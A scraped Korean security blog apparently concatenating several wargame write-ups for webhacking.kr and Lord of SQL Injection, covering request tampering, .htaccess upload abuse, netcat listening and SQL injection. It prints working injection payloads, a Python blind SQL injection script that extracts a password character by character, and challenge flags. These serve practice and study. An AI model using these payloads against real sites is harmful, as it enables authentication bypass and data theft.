728x90

33-1

<?php
if($_GET['get']=="hehe") echo "<a href=???>Next</a>"; //URL 파라미터 get의 값에 hehe대입
else echo("Wrong");
?>

주소창에 https://webhacking.kr/challenge/bonus-6/?get=hehe 입력하면 Next 링크 나옴

33-2

<?php
if($_POST['post']=="hehe" && $_POST['post2']=="hehe2") echo "<a href=???>Next</a>";
//post 방식으로 post 키에 hehe 값 설정, post2 키에 hehe2값 설정. BURP SUITE 이용
else echo "Wrong";
?>

https://webhacking.kr/challenge/bonus-6/lv2.php 해당 웹페이지를 BURP SUITE를 이용해 잡는다.

그럼 GET 방식으로 웹페이지를 요청하게 되는데 우린 POST 방식으로 데이터를 전송해야된다. 따라서 BURP SUITE 화면에서 intercept한 요청 메시지 아무 곳이나 우클릭한 후 Change request method 클릭하여 POST 방식으로 요청을 바꾼다. 그러면 POST 요청으로 바뀌고 Content-Type과 Content-Length가 생성된다. Content-Length는 0으로 해도 상관없더라. Content-Type은 여러 유형이 있는데 대표적으로 다음과 같다.

  1. application/x-www-form-urlencoded = BODY에 key와 value 쌍으로 데이터를 넣고, 여러 key가 존재하면 &로 구분.
  2. text/plain = text
  3. multipart/form-data = 파일전송을 할 때 많이 쓰이며 바이너리 데이터 의미.

그리고나서 POST 방식에서 데이터를 보낼때처럼 post=hehe &post2=hehe2를 입력한다. HTTP 프로토콜에서는 요청 헤더로부터 2줄 아래에서부터 Body로 인식한다. 그 결과 Next 링크가 나온다.

33-3

<?php
if($_GET['myip'] == $_SERVER['REMOTE_ADDR']) echo "<a href=???>Next</a>";
else echo "Wrong";
?>

myip 키에 공인 ip(내 공유기 인터넷 ip)를 대입하여 get 방식으로 보낸다. 내 인터넷 ip는 구글에 '내 ip' 검색해도 되고 주소창에 192.168.1.1입력해서 공유기 설정에 접속해도 나온다. 

https://webhacking.kr/challenge/bonus-6/33.php?myip=175.207.52.81

33-4

<?php
if($_GET['password'] == md5(time())) echo "<a href=???>Next</a>";
else echo "hint : ".time();
?>

현재시간(unix 시간)의 md5 해시값을 password 키에 대입하여 get 방식으로 보낸다. 난 python 코드를 썼는데 간단하게 몇 초 뒤의 unix시간을 온라인의 md5 hash generator를 이용해 해시값을 구한 후 URL 창에 설정해서 새로고침 하다보면 Next 링크가 뜬다. 시간상 이미 앞선 문제들에서 해왔던 간단한 작업이기에 상세한 풀이는 생략하겠다.

33-5

<?php
if($_GET['imget'] && $_POST['impost'] && $_COOKIE['imcookie']) echo "<a href=???>Next</a>";
else echo "Wrong";
?>

get 방식으로도 데이터를 보내야하고 post 방식으로도 데이터를 보내야하고 cookie 값도 설정해야한다. BURP SUITE를 사용하면 한번에 처리할 수 있다.

33-2에서 했던 것처럼 Change request method를 이용해 post 방식으로 바꾸고 get 방식 데이터 전달, post 방식 데이터 전달 & cookie 설정했다. Next 링크가 나온다.

33-6

<?php
if($_COOKIE['test'] == md5($_SERVER['REMOTE_ADDR']) && $_POST['kk'] == md5($_SERVER['HTTP_USER_AGENT'])) echo "<a href=???>Next</a>";
else echo "hint : {$_SERVER['HTTP_USER_AGENT']}";
?>

test이름의 쿠키에 공인 ip의 md5 해시값을 설정하고 post 방식으로 kk 키에 내 브라우저 정보의 md5 해시값을 설정해서 전송하면된다. 내 브라우저 정보는 33-6 문제에 처음 접속하면 hint: ~~~라고 나온다. 이미 33번 문제의 앞단계에서 풀어본 방식이기에 직접 할 수 있을 것이다.

33-7

<?php
$_SERVER['REMOTE_ADDR'] = str_replace(".","",$_SERVER['REMOTE_ADDR']);
if($_GET[$_SERVER['REMOTE_ADDR']] == $_SERVER['REMOTE_ADDR']) echo "<a href=???>Next</a>";
else echo "Wrong<br>".$_GET[$_SERVER['REMOTE_ADDR']];
?>

내 공인 ip에서 '.' 을빼면 숫자만 남을 것이다. get방식으로 '.을 뺀 내 공인 ip' 키 값에 '.을 뺀 내 공인 ip'를 설정해서 보내면 된다. ex) ?123456789=123456789 즉, key와 value가 같다.

33-8

<?php
extract($_GET);
if(!$_GET['addr']) $addr = $_SERVER['REMOTE_ADDR'];
if($addr == "127.0.0.1") echo "<a href=???>Next</a>";
else echo "Wrong";
?>

별거 없다. get 방식으로 addr 키에 127.0.0.1을 설정해서 보내면 된다.

33-9

<?php
for($i=97;$i<=122;$i=$i+2){
  $answer.=chr($i);
}
if($_GET['ans'] == $answer) echo "<a href=???.php>Next</a>";
else echo "Wrong";
?>

chr 함수는 아스키코드에 해당하는 문자를 반환한다. 97은 'a'이다. 122는 'z'이다. 그리고 i는 2씩 증가한다. 따라서 a,c,e,g,...,y가 answer의 끝에 추가된다. get 방식으로 ans 키에 aceg(생략)y를 설정해서 보내면 된다.

33-10

<?php
$ip = $_SERVER['REMOTE_ADDR'];
for($i=0;$i<=strlen($ip);$i++) $ip=str_replace($i,ord($i),$ip);
$ip=str_replace(".","",$ip);
$ip=substr($ip,0,10);
$answer = $ip*2;
$answer = $ip/2;
$answer = str_replace(".","",$answer);
$f=fopen("answerip/{$answer}_{$ip}.php","w");
fwrite($f,"<?php include \"../../../config.php\"; solve(33); unlink(__FILE__); ?>");
fclose($f);
?>

내 공인 ip길이+1 번 공인 ip의 숫자를 0부터 공인 ip길이값까지 아스키코드로 바꾸는 작업을 수행한다.
공인 ip에서 '.' 제거
앞에서 부터 숫자 10자리 추출. 이 때의 값이 ip변수에 저장.
추출한 값에 *2
다시 /2. 이때 소수가 될 수 있음.
'.' 제거. 이 때의 값이 answer변수에 저장.
현재 디렉토리에서 answerip/answer변수_ip변수.php 파일을 생성하여 fwrite를 이용해 코드 입력하고 닫음.

즉, 생성한 파일을 실행하면 문제가 풀림. 난 귀찮아서 내 서버에 php 코드를 돌려서 결과값을 확인했다. 

https://webhacking.kr/challenge/bonus-6/answerip/answer변수_ip변수.php 를 주소창에 입력하면 끝.

 

 

728x90

'webhacking.kr' 카테고리의 다른 글

old-02  (0) 2023.02.06
old-01  (0) 2023.02.06
webhacking 32  (0) 2022.12.21
webhacking 31  (0) 2022.12.21
webhacking 29(SQL Injection)  (0) 2022.12.19
728x90

해당 문제는 자신의 id에 해당하는 hit을 100으로 만들면 풀린다. 클릭하면 hit이 1만큼 증가한다.

대신 한번 클릭하면 vote_check란 쿠키값에 ok가 설정되어 더이상 클릭이 안된다. editthiscookie의 기능중 금지된 쿠키를 이용하여 vote_check 쿠키가 설정되는 것을 막는다.

이후로 열심히 클릭만 하면된다.

728x90

'webhacking.kr' 카테고리의 다른 글

old-01  (0) 2023.02.06
webhacking 33  (2) 2022.12.22
webhacking 31  (0) 2022.12.21
webhacking 29(SQL Injection)  (0) 2022.12.19
webhacking 28(설정 파일 업로드)  (0) 2022.12.19
728x90
$port = rand(10000,10100);
$socket = fsockopen($_GET['server'],$port,$errno,$errstr,3) or die("error : {$errstr}");


Notice: Undefined index: server in /var/www/html/challenge/web-16/index.php on line 15

port 값을 랜덤으로 설정해서 나한테 연결 요청을 한다. 만약 port의 값이 10100이라면 내 서버ip(=공유기 인터넷 ip):10100으로 요청하는 것이다.

:10100은 연결을 원하는 서버측 프로세스의 포트 번호라고 표현할 수 있다. 일반적으로 우리가 http://www.naver.com:80 표현하는 것도 naver의 80번 포트에 연결을 요청하는 것이다.

이 문제는 10000~10100포트로의 연결 요청을 받아서 연결하면 된다. 

구체적으로 포트포워딩은 공유기의 인터넷 ip(ex KT는 172.xxx~):포트번호(외부)로 요청이 온다면 내부 ip 주소(ex 자신의 pc)의 포트번호(내부)로 전달해준다고 생각하면 된다.

cmd창에서 ipconfig 명령을 통해 내 공유기 이름을 찾아서 기본 게이트웨이 주소(ex 192.168.1.1)를 url창에 입력한다. 접속 후 포트포워딩을 설정한다.

포트번호는 16bit라서 1~65535까지 지정이 된다.

  • 0 ~ 1023 : 잘 알려진 Well-Known Port 라고 부르며, 웹 서버(80/tcp)나 메일 서버(25/tcp) 등의 일반적인 프로그램들이 사용.
  • 1024 ~ 49151 : Registered Port. 특정 프로그램들이 주로 사용. ex) MySQL(3306/tcp).
  • 49152 ~ 65535 : Dynamic Port로 자유롭게 사용.

65534포트로 포트포워딩

다음으로 netcat 프로그램을 다운받아 cmd에서 실행시킨다.

명령어는 nc -lvp 65534

-l(listen): 연결요청을 대기하는 상태

-v(verbose): 프로그램 실행시 상세정보 출력

-p(port): 포트번호 지정

31번 문제 페이지를 새로고침하거나 재접속하면 cmd 창에 flag가 나온다.

답: FLAG{i_have_a_big_and_beautiful_server}

728x90

'webhacking.kr' 카테고리의 다른 글

webhacking 33  (2) 2022.12.22
webhacking 32  (0) 2022.12.21
webhacking 29(SQL Injection)  (0) 2022.12.19
webhacking 28(설정 파일 업로드)  (0) 2022.12.19
webhacking 27(SQL Injection)  (0) 2022.12.19
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");  //pw를 get으로 입력받고 있음. 'prob', '_', '.' '()'를 대소문자 구분없이 필터링.
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; //쿼리 실행 결과 id가 존재하면 Hello admin 출력. 즉 Hello admin으로 쿼리의 참 거짓을 알 수 있음. 따라서 Blind SQL Injection 사용.
   
  $_GET[pw] = addslashes($_GET[pw]); //이 함수를 쓰면  single quote('), double quote("), 백슬래쉬(\), NULL 문자가 포함되어 있다면 해당 문자 앞에 역슬래시(\)를 추가하여 이스케이핑 처리함. SQL Injection이 어려워짐.
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); //addslashes 적용한 pw와 쿼리 실행 결과 pw가 같다면 통과
  highlight_file(__FILE__); 
?>

addslashes 함수는 ',",\,nul byte 앞에 \를 붙여 이스케이프 처리한다.

이스케이프 처리 되면 기존의 기능을 잃고 문자 그 자체의 기능을 한다.

addslashes 사용 전에 비밀번호를 알아내야 한다.

id가 존재하면 Hello admin을 출력한다는 사실을 기반으로 Blind SQL Injection을 수행한다.

import requests

url='https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#16
def find_pw_len():
    pw_len=1
    while True:
        r=requests.get(url+"?pw=' or id='admin' and length(hex(pw))={}%23".format(pw_len),cookies=cookie)
        if 'Hello admin' in r.text:
            return pw_len
        else:
            pw_len+=1

#095a9852
def find_pw():
    pw_len=find_pw_len()
    tmp=''
    for i in range(1,pw_len+1):
        for j in HEX:
            r=requests.get(url+"?pw=' or id='admin' and substr(hex(pw),{},1)='{}'%23".format(i,j),cookies=cookie)
            if 'Hello admin' in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="")
                    tmp=''
                break

find_pw()

답: ?pw=095a9852

728x90

'Lord of SQL Injection' 카테고리의 다른 글

darkelf  (0) 2022.12.22
wolfman  (0) 2022.12.22
goblin  (2) 2022.12.21
cobolt  (0) 2022.12.21
gremlin  (0) 2022.12.20
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin"); //쿼리 실행 결과 id가 admin이어야함.
  highlight_file(__FILE__); 
?>

',",`가 필터링된다.

MySQL에선 ' 없이 문자를 16진수와 char 함수로 표현가능하다.

char 함수는 아스키코드 문자를 반환한다.

답: ?no=123 or id=0x61646d696e

123은 임의의 값이다. DB에 없을 것이다.

0x61646d696e 는 admin의 hex값이다. 0x61: 'a', 0x64: 'd'...

char(97,100,109,105,110)으로 대체가능. char(97): 'a', char(100): 'd'...

728x90

'Lord of SQL Injection' 카테고리의 다른 글

darkelf  (0) 2022.12.22
wolfman  (0) 2022.12.22
orc  (2) 2022.12.21
cobolt  (0) 2022.12.21
gremlin  (0) 2022.12.20
728x90
<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("cobolt"); //쿼리 실행결과 id가 admin이어야함.
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

id, pw에서 prob, _, ., ()가 필터링된다.

답: ?id=admin' or '

위의 입력값을 대입하면 id='admin' or '' and pw=md5('')가 되어 admin이 조회된다.

728x90

'Lord of SQL Injection' 카테고리의 다른 글

darkelf  (0) 2022.12.22
wolfman  (0) 2022.12.22
orc  (2) 2022.12.21
goblin  (2) 2022.12.21
gremlin  (0) 2022.12.20
728x90
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");    //쿼리 실행 결과가 있으면 통과
  highlight_file(__FILE__);
?>

id, pw에 prob, _, ., ()가 필터링된다.

쿼리 실행 결과 id가 존재하면 풀린다.

답: ?id=' or 1 or '

위의 값을 url 끝에 붙이면 된다.

쿼리는 id='' or 1 or '' and pw='' 형태가 된다.

1은 참이기에 위의 쿼리는 모든 행이 참이 된다.

따라서 DB에 데이터가 존재한다면 무조건 행 하나는 조회될 수밖에 없다.

참고로 mysqli_query는 쿼리를 실행하여 만족하는 행 전체를 반환한다.

mysqli_fetch_array는 mysqli_query 결과로 나온 행 전체 중 행 하나를 반환한다.

형태는 mysqli_fetch_row의 배열과 mysqli_fetch_assoc의 배열을 합친 형태이다.

728x90

'Lord of SQL Injection' 카테고리의 다른 글

darkelf  (0) 2022.12.22
wolfman  (0) 2022.12.22
orc  (2) 2022.12.21
goblin  (2) 2022.12.21
cobolt  (0) 2022.12.21
728x90

INSERT INTO('테이블명') VALUES('파일명',시간, 'IP') 쿼리가 실행되기 때문에 BURP SUITE를 이용하여 filename 부분을 다음과 같이 조작한다.

#(주석) 뒤에 부분은 아마 기존 쿼리의 ' , 시간, 'IP') 부분이 남아있을 것이다. 참고로 group_concat(칼럼명)은 해당 칼럼의 필드값들을 ',' 로 구분하여 합친다.

1. DB명(chall29)

2. 테이블명(files, flag_congratz)

3. Column명(flag)

4. 필드값(FLAG{didYouFeelConfused?_sorry:)})

webhacking 첫 페이지 상단의 Auth 메뉴에 FLAG를 입력하면 풀린다.

728x90

'webhacking.kr' 카테고리의 다른 글

webhacking 32  (0) 2022.12.21
webhacking 31  (0) 2022.12.21
webhacking 28(설정 파일 업로드)  (0) 2022.12.19
webhacking 27(SQL Injection)  (0) 2022.12.19
webhacking 26(URL Encoding)  (0) 2022.12.18
728x90

아파치 같은 웹 서버에서 브라우저 같은 클라이언트에서 접근할 때 어떤 식으로 서비스를 제공할 지 결정하는 파일이다.

파일 업로드 디렉토리에 .htaccess 파일을 만들고 해당 파일에서 php 파일을 실행하지 않게 설정하면, 텍스트 파일로 인식하게 하여 소스코드를 텍스트 형태로 볼 수 있다. 

메모장을 켜서 php_flag engine off 라고 입력 후 .htaccess라는 이름으로 저장(아무데나 저장해도됨)

해당 파일을 문제 페이지에서 업로드하고 flag.php링크를 클릭하면 답이 뜬다.

webhacking 첫 페이지의 상단 메뉴중 Auth에 FLAG{easy_peasy_apachy}입력하면 풀린다.

728x90

'webhacking.kr' 카테고리의 다른 글

webhacking 31  (0) 2022.12.21
webhacking 29(SQL Injection)  (0) 2022.12.19
webhacking 27(SQL Injection)  (0) 2022.12.19
webhacking 26(URL Encoding)  (0) 2022.12.18
webhacking 25(LFI)  (0) 2022.12.17
728x90

필터링 문자들을 피해서 admin에 접근.

주소창에 no의 값으로 100)%09or%09no%09like%092--%09 를 전달한다.

-- 대신 ;%00는 해도된다.

%09(Tab)대신 %0a(\n), /**/(주석)는 왜 안되는진 모르겠다. 

728x90

'webhacking.kr' 카테고리의 다른 글

webhacking 29(SQL Injection)  (0) 2022.12.19
webhacking 28(설정 파일 업로드)  (0) 2022.12.19
webhacking 26(URL Encoding)  (0) 2022.12.18
webhacking 25(LFI)  (0) 2022.12.17
webhacking 24(PHP)  (0) 2022.12.17

+ Recent posts